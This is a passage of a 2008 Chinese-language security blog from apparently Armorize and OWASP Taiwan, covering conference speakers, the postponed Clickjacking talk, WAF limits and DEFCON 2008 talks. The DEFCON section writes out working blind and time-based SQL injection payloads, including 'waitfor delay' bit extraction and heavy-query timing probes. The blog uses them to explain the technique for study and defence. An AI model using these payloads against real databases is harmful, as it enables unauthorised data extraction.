台灣鑑識一哥,論鑑識現場之經驗,屬台灣最具經驗之前輩之一。對於逆向工程、作業系統核心、活體鑑識技術等,皆有深入之研究;長期使用Soft Ice等鑑識工具,頗具心得。在中央警察大學資管所就讀期間,主攻電腦鑑識方面之研究,爾後於台灣電腦網路危機處理暨協調中心(TWCERT/CC)擔任電腦鑑識實務班講師,授課內容包含惡意軟體的靜態與動態分析、數位資料於法律上之證據力、事件處理時數位證據之取得與保存等。目前研究興趣包含數位鑑識工具與惡意程式偵測工具之開發。今年為SySCAN前瞻資安年會、HITCon講師。

邱銘彰 (aka "Birdman") —Armorize
阿碼科技X-Solve實驗室首席研究員。Birdman利用其所研發之Archon與HackAlert技術,長期監控亞洲所有網站被掛馬之情況,專長各種惡意程式分析,日中一食,堪稱是節能環保省碳型多才多藝的後現代資安人才。經常於OWASP Asia、SyScan 2008 TW、HITCon與其他研討會擔任講師。

余俊賢 (Jack)—Armorize
現任阿碼科技資安顧問與ASF專家團隊講師,曾擔任資安人雜誌主編。Jack對於亞洲之特殊攻擊型態,長期投入研究,專長為資安事件處理與電腦鑑識,擁有CISSP、BS 7799 LA、CEH 等資安證照。曾於OWASP Asia、SyScan 2008 TW、HIT Con 與其他研討會擔任講師。

林佳明 (Charmi Lin) —ICST
現任行政院國家資通安全會報技術服務中心(簡稱技服中心)工程師。Charmi主要的工作為協助政府機關處理各種資安事件,charmi經常參與政府機關受駭後的資安事件調查與進行電腦鑑識工作,對於目前台灣正面臨的組織型駭客攻擊有深刻的體會。擁有GCFA與 BS 7799 LA 證照。經常於資安人雜誌投稿相關資安技術文章。

Tim Bass—OWASP 泰國分會主席
前首席網路資安顧問,美國空軍總部。前首席網路顧問,美國國防部。前首席網路資安顧問,美國能源部。前 SWIFT 資安顧問。Tim 常擔任各資安會議 keynote。Tim 是 Unix Forums 的 Director。Blog:www.thecepblog.com

Dhruv Soi—OWASP 印度年會主席、OWASP 印度分會主席
Dhruv 在多家公司任職弱點研究員與資安首席,包括 FCS Software Solutions、Momentum Technologies、iPolicy Networks、Fidelity Investments、Sopra Group等。

-- Wayne 敬上(email: wayne@owasp.org.tw
OWASP 台灣分會會長

繼續閱讀全文...

2008年9月19日

Web 大威脅:Jeremiah 與 RSnake 於 OWASP 美國年會禁講!

阿碼科技今年又派了九位同事參加「2008 OWASP 美國年會」(OWASP AppSec US),今年在紐約舉辦,共有近三十家廠商參展,上千人參加,將超過去年在台灣辦的「2007 OWASP 亞洲年會」,而成為有史以來最大型的 Web 資安專門會議。去年真的很感謝 Jeremiah 應我的邀請,不但在百忙之中來台灣演講,還答應我不能講舊的內容,而在會議上講了最新的題目「商業邏輯錯誤」(他的台灣行日記一日記二),並發表了他最新的 whitepaper。我在我的「Black Hat 2008 觀察」中有說,其實他這次美國駭客年會 Black Hat 2008 的演講,大部分的內容是跟他來台灣講的那場一樣的。

在會上的最近真的是忙翻了,但是行前還是瞄了一下這些朋友的 blog,突然發現本來很期待 Jeremiah (blog)跟 RSnake (ha.ckers.orgsla.ckers.org)共同的演講「Clickjacking」,結果竟然被Adobe 要求不要講!不會吧!這是我們大家最想聽的演講之一,怎麼會這樣?英國最大 IT 媒體The Register 也以「Adobe 禁止 Clickjacking 弱點的公開」大幅報導此事。Jeremiah 與 RSnake 合著有「XSS Exploits: Cross Site Scripting Attacks and Defense」,是探討 OWASP Top 10 中排名第一的跨網站腳本攻擊(XSS,cross-site scripting),兩人都是多屆 Black Hat / DEFCON 講師,去年兩人也是 2007 OWASP 美國年會講師,今年兩人合講的這個題目,我想不只阿碼科技,應該非常多人有興趣,結果竟然不講了!由今年 OWASP 美國年會 的網頁,點「Clickjacking」,竟然連到 Adobe 的 blog,上面說明,由於這次將公開的弱點影響層面太大,並且包含 Adobe 的產品,兩位講師決定先不講,等到諸多廠商的漏洞先修復後再說。

天哪,立刻打 RSnake 手機,他確認,真的是不講了,RSnake 我們可是買了九張機票ㄝ。RSnake 在 blog 上有做說明,他說,原本他們覺得是一場很好的演講,但是因為漏洞像滾雪球一樣,一個漏洞導致另一個漏洞,牽涉到一個接一個廠商,導致整個弱點的嚴重性不只是嚴重,而是超級嚴重所以兩個講師決定必須等所有牽涉其中的廠商都把漏洞修改完,才適合做揭露。RSnake 這次在 Black HatDEFCON 都是講師,我兩場都有去,但是他都沒有提,我們想沒關係,等到 OWASP 吧!結果真是沒想到...

RSnake 在他的 blog ha.ckers.org提到,這次找到的漏洞很嚴重,但修起來並不容易,是導致演講取消的主要原因。RSnake 說,只有兩種解法,第一種,地球上所有的網站都需要修改漏洞,但是不可能;第二種則是靠修改瀏覽器來彌補,但是各大瀏覽器都需要修改。RSnake 在 blog 上說,「我們已經跟微軟與 Mozilla 都談過了,他們也都各自回應,兩邊都認為這個問題很難解,一時之間並沒有好的解法」。

RSnake 並強調,這跟進今年 Black HatDEFCON 上,MIT 學生被法院禁止講地鐵卡的事件,或 2005 年 Black Hat 上,Michael Lynn 要講 Cisco 漏洞結果被法院封口等事件不一樣,這次是他與 Jeremiah 自己決定不講的,並沒有遭誰封口。RSnake 說,對於想聽演講而落空的與會者,他很抱歉,希望漏洞趕快修補完畢,他能給演講彌補大家。

Jeremiah 則在他的 blog 上提到,Clickjacking 基本上就是,一個惡意的網站掛馬 javascript,可以誘導使用者按下一個隱藏的連結。這種攻擊並非新聞,但是之前大家太低估這種攻擊的嚴重性了。他們這次的研究主要就是示範其嚴重性,其中牽涉了一個 Adobe 的漏洞。但是 Adobe 認為此漏洞屬於最高嚴重性,因此希望他們能暫緩演講,讓 Adobe 與其他廠商能有足夠的時間修補漏洞。

兩人的 blog 上最後一段都一樣:「這不是一個簡單的決定,但他們認為現在不講是最好的選擇;至於如果大家擔心在這段期間遭受攻擊,可以停用瀏覽器的 javascript 以及外掛功能。」

目前網站掛馬真的很嚴重,他們找出了這樣的漏洞其實我並不意外,也覺得他們沒有講是對的。我在 DEFCON 2008 第一天觀察一文中提了一些關於負責的弱點揭露的看法,我認為負責的弱點揭露,一定要先通知對方,對方如果有誠意修改,那麼即使要求弱點揭露延期,負責的資安研究員也應該要接受。就像這次 DEFCON 2008 會議上,Jon 對於 Medeco 的弱點揭露,也是延了兩個月,讓對方有時間修補。如果已經通知了但是對方沒有誠意修改,當然另當別論。依我的觀察,大部分負責的,或有名的資安研究員,一般都會採此方法,以先通知廠商為主。

希望這次 RSnake 與 Jeremiah 研究的漏洞,能夠早日獲得 Adobe 以及各大瀏覽器的修補,我們也能早些得知他們的研究內容。到底是什麼呢?有沒有人要猜猜看?

作者 Wayne 為 阿碼科技 CEO

繼續閱讀全文...

2008年9月5日

你期望的WAF是?

這是一個重要的問題,尤其對我們而言。

網頁應用程式防火牆 (Web Application Firewall, WAF) 顧名思義,是用來保護網頁應用程式,對抗各式各樣針對網頁應用程式的攻擊的,當壞人的攻擊對象從網路轉向伺服器、再轉向應用系統,攻擊內容從網路層向上爬升到應用層時,好人的防禦措施也從防火牆、IDS逐步演進為 AP Firewall、IPS 等,而隨著 WWW 佔了極大量的網際網路服務比重與惡意攻擊比重,既有的對抗措施又不足以聚焦與回應針對 Web 的攻擊,才衍生出 WAF 這個特殊的資安產品類別。

我們從去年底推出網頁應用程式防火牆產品 SmartWAF,正式跨足 WAF 產品領域以來,可以看到客戶對 WAF 的期望:

1.簡單,好用 (那是當然的)
2.設定簡單(最好不用設定),免維護免管理,讓你忘了它的存在 (呃...)
3.防禦能力滴水不漏,刀槍不入

如果真的有那麼好就好了.....

系統在安裝佈署、管理維護、設定調校上的改進是各家持續努力的目標,這部份也是比較容易讓使用者感受到的效果。以 SmartWAF 來說,安裝系統用不到五分鐘就完成,加上基本的黑名單設定,不到十五分鐘便可佈署完成,怕誤擋還可以開成影子模式觀察有沒有誤擋的 Log ,而這僅僅需要十五分鐘的設定,就已經可以阻擋許多常見的網頁程式攻擊如 SQL Injection、 XSS 等,以及許多網頁弱點掃描程式的探測,而這時,還沒有使用到 SmartWAF 的白名單自動學習功能。

什麼? SmartWAF 有白名單學習功能?是唬爛的吧?

並沒有唬爛,只是我們的人在提供產品試用與操作說明時,的確很少使用到白名單自動學習功能,有些同業道聽塗說、以訛傳訛,還真的以為 SmartWAF 的白名單自動學習功能還在開發中,殊不知名為 Parameter Ruleset Creation Wizard 早已經可以從 HTTP Requests 自動學習並建立白名單,在最近推出的 SmartWAF v2.5 還新增了一個從 HTTP Responses 自動學習並建立規則的 Suggest Rules Wizard ,需要手動設定的部份又更少了!



而 SmartWAF 中的 Vulnerability Description Import Wizard ,可以將 CodeSecure 的源碼檢測報告直接匯入 SmartWAF 並產生出相對應的防護規則,直接針對弱點與弱點的進入點重點防護,更精準也更可靠。

以上的這些設定,總共設定起來也不到30分鐘(不含自動學習的期間),還沒有繁複的 Regular Expressions ,就可以將黑白名單設定完畢,常見攻擊也幾乎一網打盡,不知道這樣對使用者來說夠不夠方便了?

當然,還是會有觀察影子模式的紀錄中有沒有誤擋並且進行微調與排除的工作,這似乎很難避免,我們也在嘗試更好更快更簡單的方法,希望不久的未來就有新功能面世。

話說回來,當WAF設定了黑名單與白名單後,是不是就真的萬無一失、滴水不漏了?從 Wayne 之前發表的blog中(這裡這裡)就可以發現,BH & DC 都有講師提及 WAF 的使用限制,Arian Evans提的編碼問題就是一個例子,SmartWAF 可以解 URL Encoding ,但是如果碰上編碼過的 JavaScript ,尤其是多重編碼過的 JavaScript 也是沒輒,只能希望白名單能有效限制 XSS 的發揮空間了。

Wendel打穿 WAFWayne 的敘述)其實將 WAF 的限制整理的很好,例如他也有提到編碼,另外 XSS 的變形也是相當頭痛的,Rsnake 的 XSS Cheat Sheet 就列出了上百種變形攻擊的方法,要用黑名單窮舉是一件很要命的事,搭配白名單的限制功能也不容易完全防範,想要 100% Security,光靠 WAF 真的不容易,因為問題的根源還是在於程式的漏洞。

講到 Wendel 就先小小離題一下,他的觀念是對的,去利用這些跡象找出攻擊對象使用哪台 WAF 進行防禦,這是可以辦得到的,但是先決條件仍然是攻擊對象未妥善設定 WAF 。至於攻擊穿透 WAF 又是另一回事了,許多 WAF 的設定人員未必使用預設的規則來提供防護,加上白名單護體,就算知道攻擊對象用哪一種 WAF ,也未必就因此輕鬆穿了過去,即便是只有97%的防禦率,要真的能打穿也並不是就那麼的容易啊。

所以我們通常都跟客戶說的很清楚:『期望裝了 SmartWAF 後就天下太平,防火防水又防彈,網頁應用程式的漏洞也不用補,這樣有點不切實際,SmartWAF 的最大效益是可以爭取更多的時間,讓網頁應用程式漏洞有比較從容的時間修復,並且能夠顧及網頁應用程式以外的安全問題,例如 Session 、 Cookie 或 HTTP Method 等應用程式以外的安全問題。』在這樣的前提下, WAF 的防禦能力是否達到100%就不是最重要的事情了。

你期待的 WAF 又是什麼呢?

作者 Wisely 為 阿碼科技 產品經理

繼續閱讀全文...

2008年9月4日

美國駭客年會 DEFCON 2008 觀察--第一天

豪不必馳千騎,雄不在垂雙鞬,天生俊氣自相逐,出與鵰鶚同飛翻 --李益

(此文續「美國駭客年會 Black Hat 2008 觀察--第二天」...)

0. 可以 program 的 DEFCON 吊牌
1. Schuyler Towne & Jon King: 美國最安全鎖頭 Medeco 的破解與完整揭露
2. Chema Alonso: 時間差於 Blind SQL Injection 上的運用以及工具 Marathon 的發表
3. Kolisar: 空白字元:JavaScript 變形的新方法
4. Nathan Hamiel & Shawn Moyer:撒旦是我好友:用社交工程手法攻擊社交網路
5. Wendel Guglielmetti Henrique:打穿 WAF
6. 黑白帽相見歡(Meet the Feds)
7. NIST:量子加密(Quantum Cryptography)
8. Thomas Wilhelm:移動駭客空間(Mobile Hacker Spaces)

(抱歉讓大家久等了,我發現每天要到晚上一點多才有空 blog。)

昨天晚上沒有先來 DEFCON 報到,今天早上報到隊伍排得好長。排我前面跟後面的兩個人都在跑 metasploit nmap ;前面一個人是用 iphone 裝了 cydia要裝的看這)在跑,後面一個是拿他那低於兩百美金買的寶貝 XO Laptop 裝了 Ubuntu要裝的看這)在跑。穿著 tshirt 牛仔褲,沒有整理的頭髮,躲在厚重眼鏡後面因熬夜而快睜不開的眼睛...比起那些西裝筆挺,鞋子發亮,頭髮整齊,幽默風趣又能言善道的業務,這裡很多人看起來可能並不是型男,但是在數位世界中,他們是絕對的高手。

0. 可以 program 的 DEFCON 吊牌


DEFCON 這幾年的 pass 都做得很酷,今年的 pass,上面有一個 SD 讀卡機,還有 USB 接頭和一堆可以客製化的功能--可以無線傳輸,發出紅外線訊號充當電視遙控器,或相互通訊等。我一報到完一樣,雖然付費參加,還是跟 nico 和 dirk 知會過,拿了另一個媒體的牌,並簽了拍照的合約。DEFCONBlack Hat 比起來,對於拍照更是敏感,所以我一直都很小心,也跟他們一直保持互動。底下綠色的是媒體 pass,白色的是一般的 pass。



看看其他人加工過的牌子吧!照片是這裡來的


這個牌子可以讓你自己焊接一個 USB 接頭上去,就可以開始設計他了。所有需要用的軟體工具與 SDK,在 DEFCON 的 CD片中都有附。贏得比賽的人,可以拿到一個黑色的牌子,就獲得終身免費參加 DEFCON 的資格囉!設計這個牌子的是外號「Kinping」的 Joe Grand,以下是他介紹整個設計的訪問影片:



1. 美國最安全鎖頭 Medeco 的破解與完整揭露投影片

進去後先吃早餐,排隊排到都餓了。我坐下來,發現旁邊是一位很年輕的美國人,看來很想睡覺,眼睛幾乎睜不開了,但是手卻很忙,仔細一看,他正在開鎖,工具就擺在桌上。邊吃邊聊了起來,原來他就是 Jon King,正在開美國能做出來最安全的鎖:Medeco 的最頂級六針型鎖頭。Medeco 目前有超過四百名員工,在美國高階鎖市場市佔率達七成以上,凡舉各銀行,機密單位,軍方等,一律都採用Medeco 的鎖,所以一般美國鎖匠,也把 Medeco 看成是「終極神鎖」。

Jon 說他兩天沒睡了,眼睛睜不開,但是還是很熱心的一直跟我說,他是如何破解這顆鎖的。雖然我不懂鎖,但是聽起來真是有趣,找漏洞需要有一種特殊的「心理狀態」,而這種狀態,看來似乎實體安全跟資訊安全所需要的其實差不多。另外我更有興趣的是,他從驗證弱點到與廠商互動到公開攻擊方法的整個過程,也就是所謂的負責的弱點揭露(responsible vulnerability disclosure)的程序。這個議題雖然目前在資安圈,尤其是各大駭客年會上,正是個火熱的話題,但是在鎖匠的社群裡,這個議題已經有很長的歷史了(鎖跟電腦的發明差了多久?),可能也因為如此,似乎處理的方式也比較成熟。

Jon 與 Medeco 的故事,要從去年的 DEFCON 15 (2007)說起...

去年,Schuyler Towne 第一次來到 DEFCON,向駭客們介紹了 locksport。Locksport 是一個新興的文化,把研究鎖的設計與弱點當成興趣。這種社群最成熟的是在荷蘭的 TOOOL,每年都舉辦開鎖大賽 Dutch Open(這裡有 wired 2004 年大賽的報導),並努力希望奧運能加入開鎖比賽的項目。

Schuyler Towne 並在大會中發表了他創辦的「非破壞性進入(Non Destructive Entry)」雜誌。他當時演講的錄影在這裡,投影片在這裡

在另外一頭,Medeco 的首席工程師 Peter Field 首次於荷蘭 TOOOL 舉辦的開鎖年賽 Dutch Open 上演講。Peter 自 1960 年開始做鎖匠,於1978年被 Medeco 聘用,目前他已經擁有了超過 15 篇的美國專利。Peter 在開鎖大賽中長達四小時的馬拉松式演講充分表達了他對此社群的支持,也讓研究開鎖的社群與設計鎖的公司有了更好的互動。

而又在另外一頭,Jon King 今年 22 歲,在跟著美國海軍跑船之餘,利用空閒時間研究鎖的結構與開鎖的技巧,當然也研究美國最難開的 Medeco 鎖。2007 年九月時,其實 Jon 已經成功的開啟他他手上的 Medeco,但是他繼續研究,這是偶發事件,還是可以做出工具,讓攻擊可以簡單並系統化的重複?如果可以,那麼無敵的 Medeco 就算是真的配破解了。

Peter 演講後一個月,Jon 做出了 Medecoder 開鎖工具,可以重複地開 Medeco。今年二月,Jon 找上了 Schuyler Towne。他讀過 Schuyler 創辦的NDE 雜誌,他知道 Schuyler 可以幫他解決目前的一大難題:如何公開這個會讓美國所有最機密單位與銀行瞬間陷入危險的研究:Medeco 破解法與 Medecoder?

弱點揭露(vulnerability disclosure)中,雙方永遠是不對等的(就像最近 Google 與 RSnake 事件)。Medeco 是四百人的公司,背後還有美國政府。Jon 是一個 22 歲的小伙子。如果 Jon 與 Medeco 簽了保密合約(NDA),那麼 Jon 沒有 Medeco 允許,不能公開他找到的弱點。可是這種弱點可能讓一個製鎖公司瞬間瀕臨倒閉(記得 2004 年 Kryptonite 事件嗎?),Medeco 會讓 Jon 出去講嗎?可是如果不講,Medeco 可能根本不改善弱點,或者出新版後也不承認舊版有弱點(鎖不能 binary diff patch 吧?)如果 Jon 不簽 NDA 而直接完整揭露(full discloser),Medeco 可以稱此為不負責任揭露,發動輿論攻擊或甚至提告 Jon。故事會如何發展呢?

今年四月,Peter 帶著各種工具、零件與攝影機,來到了 Jon 住的公寓。五月,Medeco 已經設計出新一代產品:ARX 並可以生產,對於已經賣出的產品也有了修改套件。七月,Jon 首次於 The Last Hope 資安會議上展現此弱點與攻擊技巧:



七月底,Jon 寫的關於 Medeco 的完全揭露(full disclosure)公布於 NDE 雜誌第四期,裡頭註明了,此篇應 NDE 要求,延遲兩個月公布,目前兩個月時間已過,Medeco 也出了新產品 ARX,Jon 的攻擊對於新產品已失效,對於已經在市面上的眾多舊產品,Medeco 已經出了修補的套件。今天在 DEFCON,Schuyler 與 Jon 首次同台,共同講述了整個從發現弱點、設計攻擊工具、通知廠商到完整揭露的整個過程。整個演講有一半在探討負責的弱點揭露(responsible vulnerability disclosure)程序,內容大致與 NDE 第四期的第一篇文章相同,有興趣的朋友可以讀一讀。



演講中最精彩的,莫過於 Jon 當場拿他設計的工具示範開鎖。第一次很快地,他手一揚,結果又收回來,因為原本以為開了,但是手一抖就沒開成。這時 Jon 說:「各位,我希望我在 DEFCON 能開成,但是我兩天沒睡了,不能保證...」這時很多觀眾幫他出聲打氣:「You can do it Jon!」。一瞬間,從攝影機看到鎖頭動了,轉到開的位置,Jon 立刻把鎖頭高舉,大家興奮得一直鼓掌...



2. 時間差於 Blind SQL Injection 上的運用以及工具 Marathon 的發表:對於 MS SQL Server、Orcale、和 MySQL資料庫皆實際有用(Time-Based Blind SQL Injection using heavy queries: A practical approach for MS SQL Server, MS Access, Oracle and MySQL databases and Marathon Tool)投影片)(whitepaper)(程式下載)(whitepaper)(extras)(Marathon 工具下載)

Okay,我又得承認,這中間我又開溜了,我跑去聽跟我們做得很相關的滲透測試手法:「時間差於 Blind SQL Injection 上的運用以及工具 Marathon 的發表:對於 MS SQL Server、Orcale、和 MySQL資料庫皆實際有用(Time-Based Blind SQL Injection using heavy queries: A practical approach for MS SQL Server, MS Access, Oracle and MySQL databases and Marathon Tool) 」。

以下是講師之一的 Chema Alonso(大會blog):



這個手法的精神主要是,在 blind SQL injection 時,如果不同 SQL injection 指令的結果,無法由 HTTP Response 本身得知,那麼可以用時間差的方式判斷。可以設計一個很耗時的 SQL 指令,這時如果 SQL injection 成功,那麼這個 SQL injection 指令的執行結果,會影響到 Web server 回復 HTTP response 的速度,這個就可以用來判斷 SQL injection 指令執行的結果。

Chema 在台上 demo 時一下子秀出他吸大麻的照片,一下拿出照相機拍台下的聽眾,一下子不斷用西班牙話數著:「一、二、三、四、五,注入成功!」活像個超級黑客。他目前在馬德里的 Rey Juan Carlos University 大學攻讀博士學位,由 Dr. Antonio Guzman 與 Dr. Marta Beltran 共同指導。這個演講其實就是根據他寫的博士論文。

由於兩位西班牙來的講師,Jose Parada 在微軟工作,Chema 也曾獲微軟的 最有價值專家(MS MVP,此演講早在去年底就在微軟官方的 TechNet 上公布過了

Chema 有一個在西班牙很受歡迎的 blog,如果有興趣的朋友可以讀一讀,如果你懂西班牙文的話。不懂西班牙文,用機器翻譯一下,也會發現很多好東西。例如 Chema 寫了三篇()他的 DEFCON 心得,如果挖一下,你會發現他把他照台下的照片貼出來了。由於 DEFCON 很多人 裝備 打扮 身份 都必較特殊,不喜歡被拍照,一般規定是不可拍群眾的,所以外面很少照片流傳,沒有實際去過的人,也比較不容易想像會場樣子。他什麼時候會拿掉不知道,有興趣的可以看一下 ;-)

另外他也在 blog 上公布了他的投影片...其實他公布了所有人的投影片...其實他連 Black Hat 所有投影片也公布了...

還有很多好玩的啦,自己挖吧!我怎麼看得懂呢?我背後做一個西班牙來的同事 Roman 啊!

這個演講他們也有公布 white paper,在這裡,裡頭你會發現作者還包括另外四位:Daniel、Rodolfo、Antonio 跟 Marta。想看 video 嗎?如果你聽西班牙話的話,這裡有 Daniel 的演講,大同小異。

我就用他們的 paper,簡單帶各位走一遍好了!

先談 blind SQL injection 。假設我是攻擊者,那 Blind SQL injection 講白話些,一般是指在目標網站的資料庫沒有吐錯誤訊息的情況下,進行 SQL injection 的方法。在 SQL injection 中,攻擊者需要知道兩項重要資訊:

1. SQL injection 是否成功?定義:是否能有效影響目標伺服器所執行的 SQL 指令?
2. SQL injection 所注入之指令所執行的結果?

第一點很容易明白,攻擊者要進行 SQL injection,第一步就是必須能有效地從外部影響到目標 web application 所執行的 SQL 指令。如果目標網站有開啟 資料庫 error 訊息,那麼這點可以由 error 訊息來得知。如果沒有開錯誤訊息,則可以由其他方式,例如觀察在成功與失敗的狀況下,回傳網頁的不同而得知。

第二點則十分重要,因為當攻擊者能夠成功地注入指令時,接下來必須能夠得知,注入的指令在執行後的結果;尤其像一些利用 "if" 指令的比對方法,攻擊者必須能掌握指令之結果。我舉個例子。

假設有一個購物網站,其中有一頁,能讓使用者用產品號碼查詢產品。我們知道某產品號碼為 1234,則我們查詢時的 URL 如下:

http://www.victim.com/search.asp?q=1234

會列出產品序號 1234 的相關資料。如果序號查不到,回應的頁面就會寫「查無此產品!」

假設後端 SQL 指令如下,並且沒有處理變數「q」(q 是不乾淨的 tainted):


objConn.Execute("select * from product_table where serial=" + Request.QueryString("q"));


攻擊者可以先測試此 URL:

http://www.victim.com/search.asp?q=1234 AND 1=0

發現回傳:「查無此產品!」

於是攻擊者再試第二個 URL:

http://www.victim.com/search.asp?q=1234 AND 1=1

發現回傳產品 1234 的簡介。於是攻擊者做出以下結論:

A. 此頁有 SQL injection 漏洞,攻擊者可以影響 SQL 指令並有效執行成功。
B. 執行的結果,可以由回傳的頁面不同來判定。

對於 (B),我們把第一個頁面(AND 1=0)稱做負頁面(false page),而把第二個頁面(AND 1=1)稱做正頁面(true page)。這邊目的 是要判斷 SQL condition 的 evaluation 是 true 或 false。

舉例來說,攻擊者於是可以設計以下 URL:

http://www.victim.com/search.asp?q=1234 AND (100>ASCII(Substring((select system_user),1,1)))

如果結果回傳負頁面,告訴我們此資料庫 system_user 名稱的第一個字元的 ASCII 碼小於或等於 100;如果回傳正頁面,則告訴我們第一個字元大於 100。自動化的攻擊工具可以在經過一串測試後,很快地把資料庫目前 system_user 名稱算出來。

感謝講師 Chema Alonso(大會blog)同意我們轉載他投影片上的任何內容,所以下面我們來看他投影片裡頭用的真實範例(內容完全根據投影片):

第一張我們可以看到,這是我們沒有對 URL 做任何改變時的畫面:


第二張我們把 URL 中加入「and 1=1」,結果回來的頁面是一樣的。這個就是我們的正頁面:


第三張我們把 URL 中加入「and 1=2」,結果回來的頁面不一樣。這個就是我們的負頁面:


這種比對的手法,可以把很多資訊解出來,包含資料庫名稱,table 名稱等等。

好了,所以對於 (1)「是否注入成功」與 (2)「SQL 指令執行結果」,在有錯誤訊息或回傳網頁會因結果而有變化的情況下,攻擊者可以很容易地做出判斷。但是如果這些訊息都沒有,就需要依靠 Blind SQL injection 技巧了。

Blind SQL injection 包含很多方法,從 2000 年大家陸續研究並提出許多 paper。對於初學者來說,整理得比較好的,我覺得是 SQLbfTools 這個 blind SQL injection 工具於於 Black Hat 2004 以及 DEFCON 2004 發表時的投影片。當時這篇發表的價值,是整理出可以判斷 true page / false page 的方法,包含 MD5、HTML tree 的分析、ASCII加總的線性表示等。其中利用 signature 比對的方式,跟我 WWW 2003 那篇提出的 NRE:R1=R2≠R3 的概念是一樣的。

而其實時間差用於 blind SQL injection 的概念,在當初 2002 年 NGS Software 的 Chris Anley 的 (more) Advanced SQL Injection 那篇就已經有提到了,以下幾個是他當時給的例子:

最簡單的來說,以下的 SQL injection 指令會讓我們在沒有知道目前資料庫的帳號是不是 "sa" (Microsoft SQL Server適用):


if (select system_user) = 'sa' waitfor delay '0:0:5'

接下來,看看這個 SQL injection:


declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s, 1, 1))
& ( power(2, 0))) > 0 waitfor delay '0:0:5'

根據時間差,我們可以得知目前資料庫名稱字串的第一個 bit 是否是 1。這個 SQL injection:

declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s, 1, 1))
& ( power(2, 1))) > 0 waitfor delay '0:0:5'


可以知道第二個 bit...連續做八次,第一個字母就出來了。假設資料庫名稱有二十個英文字母,也才需要做 80 次,況且現在很多工具都可以幫忙自動化這個過程。常用的自動 SQL injection 工具中,支援 blind SQL injection 的有 SQLbfTools(下載Black Hat 2004 投影片DEFCON 2004 投影片)、Absinthesqlninja 以及我好朋友寫的 SQL Power Injector 等:

SQLbfTools 畫面(從 Chema 投影片擷取):



Absinthe 畫面(從 Chema 投影片擷取):





sqlninja 畫面(從 Chema 投影片擷取):



SQL Power Injector:


事實上,比起人工的滲透測試,時間差判斷法對於自動工具來說更為重要。因為譬如正負頁面差異的方法,對人來說很好判斷,對自動的程式就比較不容易,因為網頁是很多動態的元件拼起來的,要識別一頁上什麼本來就一直變,要判斷什麼是因為 SQL 指令執行結果不同而變的,有時並不容易。事實上 2002 年我寫完 WWW 2003 那篇論文投稿後,就對這個題目很有興趣(類似 SQLbfTools 的研究),但是由於後來忙於白箱源碼檢測的研究,黑箱就沒有繼續。記憶中 WWW 2004 會議上時就有一篇是做這個的(但是不是給滲透測試用),但是是在 spacial domain 做。其實我覺得這樣的問題可以像大部分 Information Retrieval 模型一樣,拿到 frequency domain 來解。

講遠了,回正題,時間差識別法,對於自動化工具特別重要,因為這個方法容易自動化,不易因為自動化而造成誤判。

既然已經有了這麼多的工具,那麼 Chema 這篇的貢獻在哪裡呢?在於:

1. 他把適合各種平台用的時間差方法(在沒有 wait functions 的情況下)做了很好的整理,並擴充至不支援 T-SQL-like 語法的資料庫。他提的方法是可以通用於各種不同資料庫的,不受資料庫差異影響。
2. 他發表了開放源碼的工具 Marathon Tool

對於他整裡的時間差方法,因為時間有限,我簡單用他的第一個例子(MS SQL Server heavy query)敘述如下:


SELECT count(*) FROM sys.sysusers AS sys1, sys.sysusers AS sys2, sys.sysusers AS sys3, sys.sysusers AS sys4, sys.sysusers AS sys5, sys.sysusers AS sys6, sys.sysusers AS sys7, sys.sysusers AS sys8)>0 and 300>(select top 1 ascii(subsring(ame,1,1)) from sys.sysusers)


其實我們可以把這個指令簡化來看成兩個 evaluation 被 and 起來:

A and B

其中
A=SELECT count(*) FROM sys.sysusers AS sys1, sys.sysusers AS sys2, sys.sysusers AS sys3, sys.sysusers AS sys4, sys.sysusers AS sys5, sys.sysusers AS sys6, sys.sysusers AS sys7, sys.sysusers AS sys8)>0

B=300>(select top 1 ascii(subsring(ame,1,1)) from sys.sysusers)

這樣看就很清楚,A 是一個 heavy query,沒什麼特別,就是一個會讓 SQL server 做很久的 SQL 指令。

B 則是我們實際上要判斷的:sys.sysusers 的第一個字元 ASCII 碼大於或小於等於 300。

然後,這整個指令會先測 B,如果 B 成立才會測 A,而測 A 需要很久(幾秒)的時間。所以也就是說,如果 B 成立,伺服器的回應會慢,因為還要 evaluate A;否的話,則很快可以得到回應。其實講到這邊就講完了...但是,為何 B 會先被 evaluate,然後再 A,造成一個類似 if...then 的狀況?因為這種方式在 SQL injection 技巧中用的蠻多的,我們就來探討一下 :)

這是因為 SQL 語法有 short-circuit evaluation。某些語言,例如 C,有硬性規定 short-circuit evaluation 的運算元(operator)與先後順序(preference)。

例如以下這段 C 程式碼:


int denom = 0;
if (denom && nom/denom) {
oops_i_just_divided_by_zero(); // never happens
}


以上這段永遠不會 division by zero,因為 ANSI C 有硬性規定 "&&" 這個運算元有 short-circuit,而且順序是由左到右。所以因為 denom 是零,所以 nom/denom 永遠不會被 evaluate 到。

那麼這邊問題是:

1. C 有硬性規定,MS SQL 語法有嗎?
2. 如果有,那麼先後順序呢?

答案是,(1) 沒有,但是目前的實做是有,(2) 不一定!為了效率,MS SQL Server 確定會 short-circuit,但是順序為何?左到右?右到左?至今仍是個謎!

要探討這個迷,第一要注意的是,我們這邊運用的是 SQL 語法中的 short-circuit,而 SQL 語言非 procedural 語言。procedural 語言,例如 C,&& 或 || 都有定義 short-circuit,但是 SQL 語言中的 select...where clause,如果用的是「OR」這個運算元,那麼不用懷疑,沒有所謂 short circuit,因為在這種 context 下,被 OR 起來的所有 condition 都需要被 evaluate!所以網路上很多討論都是錯誤的。

至於 MS SQL "AND" 的 short-circuiting,當真是個謎,這裡試出來是左到右這裡卻是右到左。我沒有太多時間研究,但是我的猜測是,第一,MS SQL 不是 procedural language,所以不會硬性規定順序。第二,MS SQL Server 會根據如何做可以達到最佳效能,來決定所有被 AND 起來的 condition,誰先執行而誰後執行。基本原則是,快的先執行,這樣做 short circuit 才有意義。這是我個人看法,這裡有沒有熟 MS SQL 的看官?

無論如何,Chema 提的例子當中:A and B,其中:
A=SELECT count(*) FROM sys.sysusers AS sys1, sys.sysusers AS sys2, sys.sysusers AS sys3, sys.sysusers AS sys4, sys.sysusers AS sys5, sys.sysusers AS sys6, sys.sysusers AS sys7, sys.sysusers AS sys8)>0

B=300>(select top 1 ascii(subsring(ame,1,1)) from sys.sysusers)

因為執行順序為先 B 後 A(為什麼?我覺得因為 MS SQL Server 判斷 B 比較快 evaluate),所以如果 B 是 true,那麼就會執行 A。也就是說,如果 sysusers 的第一個字母的 ASCII 值大於 300 的話,伺服器的回應會慢,因為還要 evaluate A;否的話,則很快可以得到回應。

